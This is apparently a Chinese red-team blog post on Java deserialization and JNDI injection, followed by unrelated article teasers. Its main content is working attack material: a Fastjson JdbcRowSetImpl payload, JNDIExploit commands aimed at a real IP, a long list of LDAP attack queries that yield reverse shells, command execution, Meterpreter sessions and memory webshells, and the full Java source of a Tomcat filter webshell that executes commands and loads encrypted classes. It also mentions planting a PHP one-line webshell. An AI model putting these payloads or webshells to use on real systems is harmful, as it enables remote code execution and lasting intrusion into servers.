红队专题-漏洞挖掘-代码审计-反序列化
漏洞挖掘-代码审计-反序列化
- 加固/防御
- 命令执行相关日志
- Tools-JNDIExploit
- JNDI Java Naming and Directory Interface Java命名目录接口注入
- 原理
- payload
- 参数
- 渗透测试-php命令执行-RCE+Struts2拿webshell
- 普通权限 命令执行 拿 webshell
- CMD echo 写入一句话 php文件
- 菜刀连接
- Struts2 拿 webshell
- 基于JAVA
- 方式与接口介绍
- TransformedMap
- Transformer
- ConstantTransformer
- InvokerTransformer
- ChainedTransformer
- Constructor.newInstance
- URLDNS链
- CB链
- CommonsCollections反序列化
- CC1 CommonsCollections 1
- lazymap链
- CC2
- CC3
- CC4
- CC5
- CC6
- CC7
- 测试demo
- PHP
- pop链构造(POP Chain)
- PHP的魔术方法(Magic Method)和对象自动加载机制
- FastJson反序列化漏洞
- 原理:
- 流量分析
- 无回显怎么办:
- 白帽子修炼漏洞进阶篇
- Fastjson
- apache-FastJsonBcel类+动态类加载(不出网)
- FastJson<=1.2.47绕过:
- FastJson1.2.25-1.2.41绕过
- FastJson1.2.42绕过
- FastJson1.4.43绕过
- fastjson反序列化 parseObject
- 序列化
- **反序列化**
- Payload
- **漏洞修复**
- 防御
加固/防御
命令执行相关日志
访问日志:Web 服务器或应用服务器上的访问日志中可能包含恶意代码执行的信息,
例如请求 URL、HTTP 请求方法、HTTP 状态码等。异常日志:应用程序中的异常日志可以记录可能存在的恶意代码执行异常信息,例如异常类型、异常堆栈等。安全审计日志:如果使用了安全审计工具,可以记录恶意代码执行的详细信息,例如恶意代码的来源、执行时间、执行结果等。
Tools-JNDIExploit
JNDI Java Naming and Directory Interface Java命名目录接口注入
原理
Java 提供的标准命名和目录服务接口,提供了统一的可以访问各种命名目录服务(如:LDAP、RMI 等)的方式。JNDI 注入,就是利用应用程序中的 JNDI 服务,将恶意代码注入到应用程序中。比如著名的 Log4J 漏洞,其根本原理就是 LDAP 服务中存储外部恶意资源,
JNDI 去访问 LDAP 时被 LDAP 外部恶意代码注入。
JNDI(Java Naming and Directory Interface)是Java平台提供的一种标准API,用于通过名称查找和访问各种命名和目录服务。它提供了一种可移植的方式,使得Java应用程序能够在运行时动态地获取与特定名称关联的对象或资源。JNDI主要用于解决以下问题:1. 统一访问:JNDI提供了一个统一的接口,使得开发者可以以统一的方式访问不同的命名和目录服务,如LDAP(轻量级目录访问协议)、DNS(域名系统)、RMI(远程方法调用)等。2. 配置和管理:JNDI允许开发者在配置文件或程序中指定对象的名称和绑定值,并提供了灵活的API来管理和维护这些名称和绑定值之间的映射关系。3. 分布式计算:JNDI支持在分布式环境中查找和访问远程对象,使得应用程序能够透明地使用远程资源,从而实现分布式计算。4. 可扩展性:JNDI的设计考虑到了可扩展性,允许开发者自定义和集成新的命名和目录服务提供者,以满足特定的需求。JNDI是Java平台的一部分,因此不是一个单独的开源项目。Java平台本身是开源的,而JNDI作为Java核心库的一部分,其实现代码也是开源的。开发者可以在Java Development Kit(JDK)中找到JNDI的实现源代码,并且可以根据Java的开源许可证(GNU General Public License等)自由使用、修改和分发这些源代码。此外,JNDI的实现也可以受到特定供应商的专有实现和扩展,但这并不影响JNDI本身的开源性质。
payload
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap:/x.x.x.x",
"autoCommit":"true"
}
}
参数
https://github.com/WhiteHSBG/JNDIExploit
G:\Hackaming\EXP\Java_EXP\JNDIExploit.v1.4\JNDIExploit1.4https://github.com/0x727/JNDIExploit
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 101.43.159.27 -l 1389 -p 3456使用说明
使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数Usage: java -jar JNDIExploit.jar [options]Options:* -i, --ip Local ip address-l, --ldapPort Ldap bind port (default: 1389)-p, --httpPort Http bind port (default: 8080)-u, --usage Show usage (default: false)-h, --help Show this help
使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Basic/Dnslog/[domain]ldap://0.0.0.0:1389/Basic/Command/[cmd]ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Basic/TomcatEcholdap://0.0.0.0:1389/Basic/SpringEcholdap://0.0.0.0:1389/Basic/WeblogicEcholdap://0.0.0.0:1389/Basic/TomcatMemshell1ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/Basic/JettyMemshellldap://0.0.0.0:1389/Basic/WeblogicMemshell1ldap://0.0.0.0:1389/Basic/WeblogicMemshell2ldap://0.0.0.0:1389/Basic/JBossMemshellldap://0.0.0.0:1389/Basic/WebsphereMemshellldap://0.0.0.0:1389/Basic/SpringMemshell[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcholdap://0.0.0.0:1389/Deserialization/C3P0/SpringEcholdap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcholdap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshellldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells[+] TomcatBypass Queriesldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/TomcatBypass/TomcatEcholdap://0.0.0.0:1389/TomcatBypass/SpringEcholdap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/TomcatBypass/SpringMemshellldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp[+] GroovyBypass Queriesldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd][+] WebsphereBypass Queriesldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshellldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
目前支持的所有 PayloadType 为
Dnslog: 用于产生一个DNS请求,与 DNSLog平台配合使用,对Linux/Windows进行了简单的适配
Command: 用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输
ReverseShell: 用于 Linux 系统的反弹shell,方便使用
TomcatEcho: 用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
SpringEcho: 用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
WeblogicEcho: 用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
TomcatMemshell1: 用于植入Tomcat内存shell, 支持Behinder shell 与 Basic cmd shell
TomcatMemshell2: 用于植入Tomcat内存shell, 支持Behinder shell 与 Basic cmd shell, 使用时需要添加额外的HTTP Header Shell: true, 推荐使用此方式
SpringMemshell: 用于植入Spring内存shell, 支持Behinder shell 与 Basic cmd shell
WeblogicMemshell1: 用于植入Weblogic内存shell, 支持Behinder shell 与 Basic cmd shell
WeblogicMemshell2: 用于植入Weblogic内存shell, 支持Behinder shell 与 Basic cmd shell,推荐使用此方式
JettyMemshell: 用于植入Jetty内存shell, 支持Behinder shell 与 Basic cmd shell
JBossMemshell: 用于植入JBoss内存shell, 支持Behinder shell 与 Basic cmd shell
WebsphereMemshell: 用于植入Websphere内存shell, 支持Behinder shell 与 Basic cmd shell
目前支持的所有 GadgetType 为
URLDNS
CommonsBeanutils1
CommonsBeanutils2
CommonsCollectionsK1
CommonsCollectionsK2
C3P0
Jdk7u21
Jre8u20
CVE_2020_2551
CVE_2020_2883
WebsphereBypass 中的 3 个动作:
list:基于XXE查看目标服务器上的目录或文件内容
upload:基于XXE的jar协议将恶意jar包上传至目标服务器的临时目录
rce:加载已上传至目标服务器临时目录的jar包,从而达到远程代码执行的效果(这一步本地未复现成功,抛java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.异常,有复现成功的小伙伴麻烦指导下)
内存shell说明
采用动态添加 Filter/Controller的方式,并将添加的Filter移动至FilterChain的第一位
内存shell 的兼容性测试结果请参考 memshell 项目
Basic cmd shell 的访问方式为 /anything?type=basic&pass=[cmd]
TomcatMemshell1和TomcatMemshell2 的访问方式需要修改冰蝎客户端(请参考 冰蝎改造之适配基于tomcat Filter的无文件webshell 的方式二自行修改),并在访问时需要添加 X-Options-Ai 头部,密码为rebeyond
内存shell说明2
TomcatMemshell3 可直接使用冰蝎3客户端连接 推荐使用此payload
GodzillaMemshell 可直接使用哥斯拉客户端连接 推荐使用此payload
TomcatMemshell1和TomcatMemshell2植入的 Filter 代码如下:public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("[+] Dynamic Filter says hello");String k;Cipher cipher;if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {k = servletRequest.getParameter("pass");if (k != null && !k.isEmpty()) {cipher = null;String[] cmds;if (File.separator.equals("/")) {cmds = new String[]{"/bin/sh", "-c", k};} else {cmds = new String[]{"cmd", "/C", k};}String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();servletResponse.getWriter().println(result);}} else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {try {if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {k = "e45e329feb5d925b";((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);cipher = Cipher.getInstance("AES");cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());Object evilObject = evilClass.newInstance();Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);targetMethod.invoke(evilObject, servletRequest, servletResponse);}} catch (Exception var10) {var10.printStackTrace();}} else {filterChain.doFilter(servletRequest, servletResponse);}}
参考
https://github.com/veracode-research/rogue-jndi
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Bypassjava -jar JNDIExploit.jar -uSupported LADP Queries:
* all words are case INSENSITIVE when send to ldap server[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Basic/Dnslog/[domain]ldap://0.0.0.0:1389/Basic/Command/[cmd]ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Basic/TomcatEcholdap://0.0.0.0:1389/Basic/SpringEcholdap://0.0.0.0:1389/Basic/WeblogicEcholdap://0.0.0.0:1389/Basic/TomcatMemshell1ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/Basic/JettyMemshellldap://0.0.0.0:1389/Basic/WeblogicMemshell1ldap://0.0.0.0:1389/Basic/WeblogicMemshell2ldap://0.0.0.0:1389/Basic/JBossMemshellldap://0.0.0.0:1389/Basic/WebsphereMemshellldap://0.0.0.0:1389/Basic/SpringMemshell[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcholdap://0.0.0.0:1389/Deserialization/C3P0/SpringEcholdap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcholdap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshellldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells[+] TomcatBypass Queriesldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/TomcatBypass/TomcatEcholdap://0.0.0.0:1389/TomcatBypass/SpringEcholdap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024ldap://0.0.0.0:1389/TomcatBypass/SpringMemshellldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp[+] GroovyBypass Queriesldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd][+] WebsphereBypass Queriesldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supportedldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshellldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
渗透测试-php命令执行-RCE+Struts2拿webshell
原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
Cracer网络渗透全部教程
普通权限 命令执行 拿 webshell
CMD echo 写入一句话 php文件
同级目录写入文件
菜刀连接
Struts2 拿 webshell
基于JAVA
Java反序列化漏洞
指恶意用户通过发送精心构造的序列化数据并触发其反序列化过程,从而执行未经授权的代码或操作。
攻击者可以利用此漏洞来执行远程命令、绕过应用程序的安全检查、窃取敏感信息等攻击。
如果Java应用对用户输入(即不可信数据)做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的类或对象,这个类或对象在产生过程中就有可能带来任意代码执行
。
方式与接口介绍
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,
被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}这里它的构造方法为protected类型,
创建对象需要通过TransformedMap.decorate()来获得一个TransformedMap实例示例::::::::::::::::::::::::::::::::::::::::::::::
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
::::::::::::::::::::::::::::::::::::::::::::::::
通过上面这串代码 对innerMap进行修饰 传出的outerMap就是修饰后端Map同时 可以通过TransformedMap.decorate() 方法 来获得一个TransformedMap的实例keyTransformer是 处理新元素Key的回调
valueTransformer是处理新元素value的回调
这里的回调 并不是传统意义上的回调函数 而是一个实现了Transformer接口的类 在TransformedMap类中有三个方法,它会执行传入的参数的transform()方法
Transformer
是一个接口,它只有一个待实现的方法public interface Transformer {public Object transform(Object input);
}TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个 回调函数 ,这个回调的参数是原始对象。
ConstantTransformer
函数是实现transformer接口的一个类,
在该函数里面有一个构造函数,会传入我们的Object
相关文章:
红队专题-漏洞挖掘-代码审计-反序列化
漏洞挖掘-代码审计-反序列化 加固/防御命令执行相关日志Tools-JNDIExploitJNDI Java Naming and Directory Interface Java命名目录接口注入原理payload参数渗透测试-php命令执行-RCE+Struts2拿webshell普通权限 命令执行 拿 webshellCMD echo 写入一句话 php文件菜刀连接Strut…...
【2025软考高级架构师】——计算机系统基础(7)
摘要 本文主要介绍了计算机系统的组成,包括硬件和软件两大部分。硬件由处理器、存储器、总线、接口和外部设备等组成,软件则涵盖系统软件和应用软件。文章还详细阐述了冯诺依曼计算机的组成结构,包括 CPU、主存储器、外存等,并解…...
【网络原理】TCP协议如何实现可靠传输(确认应答和超时重传机制)
目录 一. TCP协议 二. 确定应答 三. 超时重传 一. TCP协议 1)端口号 源端口号:发送方端口号目的端口号:接收方端口号 16位(2字节)端口号,可以表示的范围(0~65535) 源端口和目的…...
Java synchroinzed和ReentrantLock
synchronized —— JVM亲儿子的暗黑兵法 核心思想:“锁即对象,对象即锁!” 底层三板斧 对象头里的锁密码 每个Java对象头里藏了两个骚东西: Mark Word:32/64位的比特修罗场,存哈希码、GC年龄࿰…...
【Linux】vim配置----超详细
目录 一、插件管理器准备 二、目录准备 三、安装插件 一、插件管理器准备 Vim-plug 是一个Vim插件管理器,利用异步并行可以快速地安装、更新和卸载插件。它的安装和配置都非常简单,而且在操作过程中会给出很多易读的反馈信息,是一个自由、…...
驱动开发硬核特训 · Day 15:电源管理核心知识与实战解析
在嵌入式系统中,电源管理(Power Management)并不是“可选项”,而是实际部署中影响系统稳定性、功耗、安全性的重要一环。今天我们将以 Linux 电源管理框架 为基础,从理论结构、内核架构,再到典型驱动实战&a…...
如何使用人工智能大模型,免费快速写工作计划?
如何使用人工智能大模型,免费快速写工作计划? 具体视频教程https://edu.csdn.net/learn/40406/666579...
延长(暂停)Windows更新
延长(暂停)Windows更新 因为不关闭更新有时候就会出现驱动或者软硬件不兼容,导致蓝屏出现。 注:为什么选择延长更新而不是用软件暂停更新,因为使用软件暂停更新会出现一下问题,比如微软商店打不开等等 键…...
QT实现串口透传的功能
在一些产品的开发的时候,需要将一个串口的数据发送给另外一个串口进行转发。 具体的代码如下: #include "mainwindow.h" #include "ui_mainwindow.h"MainWindow::MainWindow(QWidget *parent): QMainWindow(parent), ui(new Ui::Ma…...
分布类相关的可视化图像
目录 一、直方图(Histogram) 1.定义 2.特点 3.局限性 4.类型 5.应用场景 6.使用Python实现 二、密度图(Density Plot) 1.定义 2.特点 3.局限性 4.类型 5.应用场景 6.使用Python实现 三、箱线图(Box Plo…...
【android bluetooth 框架分析 02】【Module详解 12】【 BidiQueue、BidiQueueEnd、Queue介绍】
1. BidiQueue 和 BidiQueueEnd 蓝牙协议栈里面有很多 BidiQueue ,本节就专门来梳理这块内容。 2. BidiQueue 介绍 BidiQueue,是 Host 与 Controller 层通信的中枢之一, acl_queue_、sco_queue_、iso_queue_ 都是 BidiQueue 类型。让我们一起看一下这个…...
c++通讯录管理系统
通讯录是一个可以记录亲人,好友的信息工具。 功能包括: 1,添加联系人:向通讯录添加新人,包括(姓名,性别年龄,联系电话,家庭住址) 2,显示联系人…...
React 打包
路由懒加载 原本的加载方式 #使用lazy()函数声明的路由页面 使用Suspense组件进行加载 使用CDN优化...
day1 python训练营
变量与输出 print(1,2,3,sep\n,endsep用来区分两个变量,end会紧跟最后一个变量) print(1,2,3,sepaaa,endsep用来区分两个变量,3后面不会再输出aaa) 格式化字符串 变量名值 print(f"变量名{变量名}") 变量的基础运算 ,-*,/ 注意*不要忘写。比如2j就不…...
C语言状态字与库函数详解:概念辨析与应用实践
C语言状态字与库函数详解:概念辨析与应用实践 一、状态字与库函数的核心概念区分 在C语言系统编程中,"状态字"和"库函数"是两个经常被混淆但本质完全不同的概念,理解它们的区别是掌握系统编程的基础。 1. 状态字&…...
软件测试笔记(测试的概念、测试和开发模型介绍、BUG介绍)
软件测试笔记 认识测试 软件测试是啥? 说白了,就是检查软件的功能和效果是不是用户真正想要的东西。比如用户说“我要一个能自动算账的软件”,测试就是看这个软件到底能不能准确算账、有没有漏掉功能。 软件测试定义:软件测试就…...
Python多进程同步全解析:从竞争条件到锁、信号量的实战应用
1. 进程同步的必要性 在多进程编程中,当多个进程需要访问共享资源时,会出现竞争条件问题。例如火车票售卖系统中,如果多个售票窗口同时读取和修改剩余票数,可能导致数据不一致。 1.1 竞争条件示例 from multiprocessing import…...
Vue3 + TypeScript,关于item[key]的报错处理方法
处理方法1:// ts-ignore 注释忽略报错 处理方法2:item 设置为 any 类型...
Spring源码中关于抽象方法且是个空实现这样设计的思考
Spring源码抽象方法且空实现设计思想 在Spring源码中onRefresh()就是一个抽象方法且空实现,而refreshBeanFactory()方法就是一个抽象方法。 那么Spring源码中onRefresh方法定义了一个抽象方法且是个空实现,为什么这样设置,好处是什么。为…...
Pandas数据可视化
在当今这个数据驱动的时代,数据可视化已经成为数据分析不可或缺的一部分。通过图形化的方式展示数据,我们能够更直观地理解数据的分布、趋势和关系,从而做出更加精准的决策。Pandas,作为Python中最为流行的数据处理库,…...
string类(详解)
【本节目标】 1. 为什么要学习string类 2. 标准库中的string类 3. string类的模拟实现 4. 扩展阅读 1. 为什么学习string类? 1.1 C语言中的字符串 C 语言中,字符串是以 \0 结尾的一些字符的集合,为了操作方便, C 标准库中提供…...
零基础上手Python数据分析 (19):Matplotlib 高级图表定制 - 精雕细琢,让你的图表脱颖而出!
写在前面 —— 超越默认样式,掌握 Matplotlib 精细控制,打造专业级可视化图表 上一篇博客,我们学习了 Matplotlib 的基础绘图功能,掌握了如何绘制常见的折线图、柱状图、散点图和饼图,并进行了基本的图表元素定制,例如添加标题、标签、图例等。 这些基础技能已经能让我…...
【上位机——MFC】MFC入门
MFC库中相关类简介 CObject MFC类库中绝大部分类的父类,提供了MFC类库中一些基本的机制。 对运行时类信息的支持。对动态创建的支持。对序列化的支持。 CWinApp 应用程序类,封装了应用程序、线程等信息。 CDocument 文档类,管理数据 F…...
ASP.NET Core 最小 API:极简开发,高效构建(下)
在上篇文章 ASP.NET Core 最小 API:极简开发,高效构建(上) 中我们添加了 API 代码并且测试,本篇继续补充相关内容。 一、使用 MapGroup API 示例应用代码每次设置终结点时都会重复 todoitems URL 前缀。 API 通常具有…...
【leetcode100】一和零
1、题目描述 给你一个二进制字符串数组 strs 和两个整数 m 和 n 。 请你找出并返回 strs 的最大子集的长度,该子集中 最多 有 m 个 0 和 n 个 1 。 如果 x 的所有元素也是 y 的元素,集合 x 是集合 y 的 子集 。 示例 1: 输入:…...
代码随想录算法训练营第五十三天 | 105.有向图的完全可达性 106.岛屿的周长
105.有向图的完全可达性 题目链接:101. 孤岛的总面积 文章讲解:代码随想录 视频讲解:图论:岛屿问题再出新花样 | 深搜优先搜索 | 卡码网:101.孤岛总面积_哔哩哔哩_bilibili 思路: 1.确认递归函数&…...
在 Debian 10.x 安装和配置 Samba
1. 更新系统 sudo apt update sudo apt upgrade -y2. 安装 Samba sudo apt install samba -y3. 配置 Samba 备份默认配置文件 sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak编辑配置文件 sudo nano /etc/samba/smb.conf示例配置(共享目录) …...
Python中的短路运算
近期在学习python的过程中遇到此问题,遂总结记录 在”and“逻辑判定布尔类型时: 若判定对象均为True,则输出最后一个判别为True的对象 若判定对象的数据类型中有布尔类型,且最终结果为False,则输出布尔类型False 若判定对象的…...
Java8-遍历list取出两个字段重新组成list集合
在Java 8中,可以使用Stream API遍历List并提取两个字段重新组合成新的List。 以下是几种常见方法: 方法1:使用自定义类 定义一个包含目标字段的类:public class FieldHolder {private final String field1;private final int field2;public FieldHolder(String field1, i…...
【C++ 程序设计】实战:C++ 实践练习题(31~40)
目录 31. 数列:s 1 + 2 + 3 + … + n 32. 数列:s 1 - 2 - 3 - … - n 33. 数列:s 1 + 2 - 3 + … - n 34. 数列:s 1 - 2 + 3 - … &#…...
【笔记】SpringBoot实现图片上传和获取图片接口
上传图片接口 接口接收图片文件和布尔类型的是否生成缩略图参数。 生成保存图片文件的文件夹,文件夹的命名为上传图片的日期“根目录\file\cover\202504”,如果文件夹已存在则不生成。接下来拼接文件名,生成30位的随机数拼接到原文件名防止文件名相同的…...
Linux 下依赖库的问题
假设你在 某用户 user_name 下安装了一个 rquests库。 然后你在命令行使用 python3 -c (...)验证。发现没有任何问题。 然后你使用python3 xxx.py 发现执行验证也没有问题。 这个时候你信心慢慢的写了一个C的代码在代码中system调用这个.py文件。 然…...
STM32 HAL 水位传感器驱动程序
工作原理是输出模拟量电压值,只需要使用stm32adc读取电压再转换一下即可 本代码中,水位传感器连接在PA0,可通过宏定义快速设置电压区间和水位之间的关系 water_level.c /***************************************************************…...
DeepSeek R1 7b,Langchain 实现 RAG 知识库 | LLMs
DeepSeek R1 7b,Langchain 实现 RAG 知识库 | LLMs DeepSeek R1 7b,Langchain 实现 RAG 知识库DeepSeek R1Chat via ConsoleChat via Browser LangchainFAQs GitHub https://github.com/hailiang-wang/ollama-get-started DeepSeek R1 7b,La…...
【C语言】char unsigned char signed char
在C语言中,char 和 unsigned char 虽然都是1字节(通常8位)的数据类型,但它们在符号处理、数值范围和用途上有显著区别。以下是详细对比: 1. 核心区别 特性charunsigned char符号性可能是signed或unsigned(由编译器决定)明确无符号(仅非负数)数值范围通常 -128 到 1270…...
硬件电路(24)-NE555振荡电路
一、概述 NE555 是一款能产生高精度定时脉冲的双极性集成电路。内部包括阈值比较器、触发比较器、RS触发 器、输出电路等四部分电路构成。它可通过外接少量的阻容器件,组成定时触发电路、脉宽调制电路、音 频振荡器等等电路。广泛应用于玩具、信号交通、自动化控制等…...
Transformer系列(二):自注意力机制框架
自注意力机制框架 一、K-Q-V的自注意力机制二、位置表征1. 通过学习嵌入来进行位置表征2. 通过直接改变 α \alpha α来进行位置表征 三、逐元素非线性变换四、未来掩码(future mask)五、总结 上篇博客:NLP中放弃使用循环神经网络架构讲解了循环神经网络…...
安全技术和防火墙
传输层4.7层防火墙 传输层(4)四层防火墙:ip地址 mac地址 协议 端口号来控制数据流量 应用层防火(7)墙/代理服务器: ip地址 mac地址 协议 端口号来控制数据流量 真实传输的数据(把前面的ip地址…...
深度可分离卷积与普通卷积的区别及原理
1. 普通卷积 普通卷积使用一个滤波器在输入特征图的所有通道上滑动,同时对所有通道进行加权求和,生成一个输出通道。如果有多个滤波器,则生成多个输出通道。假设上一层的特征图有 n 个通道,每个通道是一个二维的图像(…...
STM32时钟树
1、认识时钟树 H:high 高 L:low 低 S:speed 速度 I:internal 内部 E:external 外部 HSE就是高速外部时钟源 HSI就是告诉内部时钟源 外部时钟一般需要接一个时钟源,也就是晶振,这个需要外接&…...
致迈协创C1pro考勤系统简介
1.应用背景 该套件的“数据映射引擎”技术,完成了OA系统与考勤机硬件设备的无缝联接。V5具有良好交互特性和B/S的程序架构,使得客户管理层和HR相关管理人员通过V5能实时查询统计人员的考勤情况,从而及时有效的完成人员考勤的监控与管理&#…...
pivot_root:原理、用途及最简单 Demo
什么是 pivot_root pivot_root 是 Linux 系统中的一个系统调用(和对应的命令行工具),用于更改进程的根文件系统。与 chroot 类似,pivot_root 将一个指定目录设置为进程的新根目录(/),但它比 ch…...
【小沐杂货铺】基于Three.JS绘制卫星轨迹Satellite(GIS 、WebGL、vue、react,提供全部源代码)
